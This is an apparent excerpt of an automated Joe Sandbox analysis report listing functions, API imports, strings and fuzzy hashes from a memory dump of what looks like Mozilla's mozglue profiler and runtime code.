ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7677

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction ID: 1c75419332ee999be94102c42528ea51201a85dfbaf45b127cfcdbc58560bc9d
Opcode Fuzzy Hash: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction Fuzzy Hash: B3F0C271E10745ABD7008F22C888676B778FFEB299F214316F94553601E7B4B5D18BD1

Function 6C601700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C601800

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

Strings

name, xrefs: 6C601939
{marker.name} - {marker.data.name}, xrefs: 6C6018C7
Details, xrefs: 6C601925

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: ee621985bec3eba2394d70bdb328da6edcd1836bdf1ad847051889a16cf7c6c7
Instruction ID: f877cb7043d3cdd284f342d1dd8ca80b5f7a95a41425fae7a381bb6044758125
Opcode Fuzzy Hash: ee621985bec3eba2394d70bdb328da6edcd1836bdf1ad847051889a16cf7c6c7
Instruction Fuzzy Hash: 4F71FF70A00706DFCB08DF69C58079ABBB2FF85304F40466DD8155BB41DB74AAA9CBE6

Function 6C5CD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD751

Strings

MOZ_CRASH(), xrefs: 6C5CD4BB

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction ID: 6073f7b52de7276c14624d6453a21e25677ccea06243d0b83af71556857c1beb
Opcode Fuzzy Hash: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction Fuzzy Hash: D651FF71B047018FD314CF69C99471AB7F1EB89304F558A2ED9AAC7B84D774E840CB86

Function 6C5F4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Strings

-%llu, xrefs: 6C5F4733
., xrefs: 6C5F476A
profiler-paused, xrefs: 6C5F46E4

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction ID: fb0346b79a0459fbead43eeb43d10f9d903501105c760a2504206c716e89d68f
Opcode Fuzzy Hash: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction Fuzzy Hash: 22414871A047089BCB08DF7DDD9115EBBF5EF85344F10863EE865A7B41EB3498068B46

Function 6C619830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C61985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C61987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6198DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6198D9

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 09491b076a8cc46b63939a1ec01e39ea47a57ea8e263522ba440afb22f343c8c
Instruction ID: 6850bd30f4138290602dd65e37943c8c2c363c6bcf4751beb6bc4d4bfeae03df
Opcode Fuzzy Hash: 09491b076a8cc46b63939a1ec01e39ea47a57ea8e263522ba440afb22f343c8c
Instruction Fuzzy Hash: EF313571B002089BDB04AF5DDC409EF77B9DF85318F50842DEA1A9BB40CB35AD058BE9

Function 6C5F46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Part of subcall function 6C5A4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C5E3EBD,00000017,?,00000000,?,6C5E3EBD,?,?,6C5A42D2), ref: 6C5A4444

Strings

-%llu, xrefs: 6C5F4733
., xrefs: 6C5F476A
profiler-paused, xrefs: 6C5F46E4

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction ID: bd26a1c4ab554642d0468cab29256e0184eeef609df12e389fb0870c63421e3d
Opcode Fuzzy Hash: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction Fuzzy Hash: 13311471F052088BCB0CDF6DDC8129EBBE69B88314F15853EE9159BB41EB7499068B94

Function 6C5FB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C5FB127), ref: 6C5FB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C5FB4E4

Strings

pid:, xrefs: 6C5FB4DE

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction ID: 8210f7f9c2f7351a1b93f7acc946bda6fccc1073beab081611a6374596c80917
Opcode Fuzzy Hash: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction Fuzzy Hash: 8C311531A01204DBDB04EFA9DD84ADEB7B6FF44308F540529D86167A41E736E94ACFA1

Function 6C5BBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C607A3F), ref: 6C5BBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C607A3F), ref: 6C5BBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C607A3F), ref: 6C5BBF7E

Strings

al, xrefs: 6C5BBF84

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: al
API String ID: 4279176481-2896146561
Opcode ID: 665267fbbb3a0f8aaa118a07b8066ef0d2ff51ae6b5cd9ba8d8aa8a659180eeb
Instruction ID: 2ff5de2da75b32c2eec15e6996a983c58d4ec4853b527f8414639407750b1d52
Opcode Fuzzy Hash: 665267fbbb3a0f8aaa118a07b8066ef0d2ff51ae6b5cd9ba8d8aa8a659180eeb
Instruction Fuzzy Hash: F911C0793046048FC729CF1CD599966FBF8FF5930A355885DE98A8BB50C731E800CB94

Function 6C5EE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EE577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE584
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5EE8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5EE826, 6C5EE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5EE777
MOZ_PROFILER_STARTUP, xrefs: 6C5EE5A1, 6C5EE5CC, 6C5EE5FF, 6C5EE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5EE722, 6C5EE750, 6C5EE7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5EE655

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction ID: 39bf27d9e90d1baac4db604af5e5dd37337d43ef41b55021859276a121b277f0
Opcode Fuzzy Hash: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction Fuzzy Hash: 1411C431A04264DFCB009F1AC888B6DBBF4FFC9728F010519E88657651C7B8A805CFDA

Function 6C5F0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0CD5

Part of subcall function 6C5DF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5DF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0D40
free.MOZGLUE ref: 6C5F0DCB

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

free.MOZGLUE ref: 6C5F0DDD
free.MOZGLUE ref: 6C5F0DF2

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction ID: bab8025a9aa4eb61a4ca4f50f68266641b337de3cd6190bcdedef839de4bc89f
Opcode Fuzzy Hash: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction Fuzzy Hash: F9411471A087809BD720CF29C48079AFBE5BFC9614F558A2EE8E887711D770A845CF92

Function 6C5E0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5E0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5E084C
EnterCriticalSection.KERNEL32(?), ref: 6C5E08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5E08BD
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5E08D5

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: aabd5555adec934edef5ab27ca509f3a87abaf88d1698cbf14db61ddccfd1a53
Instruction ID: 19ef83c08482a0f8ea3c1b3c8fdfc7837052a99be66e95028db1d22e45cfc859
Opcode Fuzzy Hash: aabd5555adec934edef5ab27ca509f3a87abaf88d1698cbf14db61ddccfd1a53
Instruction Fuzzy Hash: 0F219071A052099BDB048E65DC84BEE7379EF89709F500539D50AA7A40DF39A8058BD4

Function 6C5FCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDA4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD158
Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000098,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDC4

Part of subcall function 6C5F7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6015FC,?,?,?,?,6C6015FC,?), ref: 6C5F74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCECC

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

Part of subcall function 6C5ECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C5FCEEA,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000), ref: 6C5ECB57
Part of subcall function 6C5ECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C5ECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C5FCEEA,?,?), ref: 6C5ECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD058

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction ID: 879e78360a411d97b5c7b7ac026dafbc59998bbc5e1c20b802ed3b57d85cdacb
Opcode Fuzzy Hash: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction Fuzzy Hash: CDD15D71A04B469FD718CF28C880B99F7E1BF89304F01866DD96987712EB71B965CF81

Function 6C5B1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5B17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5B18EE
free.MOZGLUE(?), ref: 6C5B1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B194C

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 7d4c68639027883a4e7c28a67986293f4ff7901181957617ab021ebc429732e0
Instruction ID: 981037f5d17e3700d38bb0e1bd2201113b5d6a94379deae98e077cee1e40fb7b
Opcode Fuzzy Hash: 7d4c68639027883a4e7c28a67986293f4ff7901181957617ab021ebc429732e0
Instruction Fuzzy Hash: 4C81AE70A152059FCB08CF68DCA49AFBBB1FF89314F04452CE811AB754E730E955CBA2

Function 6C5C5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5C5D40
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67
__aulldiv.LIBCMT ref: 6C5C5DB4
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction ID: 5cdf1b7ede26d27e5f716df1938b1e259e9392feb3a7d64ad937e06b9cdd4693
Opcode Fuzzy Hash: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction Fuzzy Hash: 54517071F002298FCF08CFE9C894AAEBBB2FB85304F59462DD811A7750C7346945CB96

Function 6C5ACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5ACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5ACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5ACF4E

Strings

0, xrefs: 6C5ACF30

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction ID: 9bc5628d6ed544f5354486608e6306c92b10276516dd9477ed6ce8d75e82b65f
Opcode Fuzzy Hash: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction Fuzzy Hash: BD512171A042568FCB01CF19C890AAABBB5EF99300F19859DD8595F752D732FD06CBE0

Function 6C6077D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6077FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C607829

Part of subcall function 6C5DCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5A31A7), ref: 6C5DCC45
Part of subcall function 6C5DCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5A31A7), ref: 6C5DCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C60789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6078CF

Part of subcall function 6C5A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
Part of subcall function 6C5A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97

